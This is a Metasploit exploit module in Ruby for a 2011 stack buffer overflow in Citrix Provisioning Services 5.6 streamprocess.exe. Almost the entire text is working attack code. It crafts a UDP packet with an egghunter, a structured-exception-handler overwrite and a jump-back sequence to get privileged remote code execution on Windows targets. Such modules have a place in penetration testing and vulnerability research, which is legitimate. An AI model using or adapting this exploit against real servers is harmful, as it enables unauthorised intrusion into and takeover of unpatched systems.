Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow

`##  
# $Id: citrix_streamprocess.rb 13042 2011-06-27 18:00:12Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.  
By sending a specially crafted packet to the Provisioning Services server, a fixed  
length buffer on the stack can be overflowed and arbitrary code can be executed.  
},  
'Author' => 'mog',  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13042 $',  
'References' =>  
[  
[ 'OSVDB', '70597'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ],  
[ 'URL', 'http://secunia.com/advisories/42954/' ],  
[ 'URL', 'http://support.citrix.com/article/CTX127149' ],  
],  
'DefaultOptions' =>  
{  
# best at delaying/preventing target crashing post-exploit  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# pop/pop/ret in streamprocess.exe  
# Service runs and automatically shuts down in Win 7  
[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 20 2011'))  
  
register_options([Opt::RPORT(6905)], self.class)  
end  
  
def exploit  
  
eggoptions =  
{  
:checksum => true,  
:eggtag => 'W00t',  
}  
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
sploit = "\x10\x00\x02\x40" # message type  
sploit << rand_text_alpha_upper(30)  
sploit << "\x00\x01\x00\x00" # length field  
sploit << rand_text_alpha_upper(400)  
sploit << hunter  
sploit << rand_text_alpha_upper(64 - hunter.length)  
  
sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's  
sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret  
sploit << [target.ret].pack('V') # SE handler  
  
sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack  
sploit << egg # Payload has a whole page to itself  
  
print_status("Trying target #{target.name}...")  
  
connect_udp  
udp_sock.put(sploit)  
print_status("Exploit sent, wait for egghunter.")  
select(nil, nil, nil, 4) # takes about 8 seconds in tests  
  
handler(udp_sock)  
disconnect_udp  
end  
  
end  
`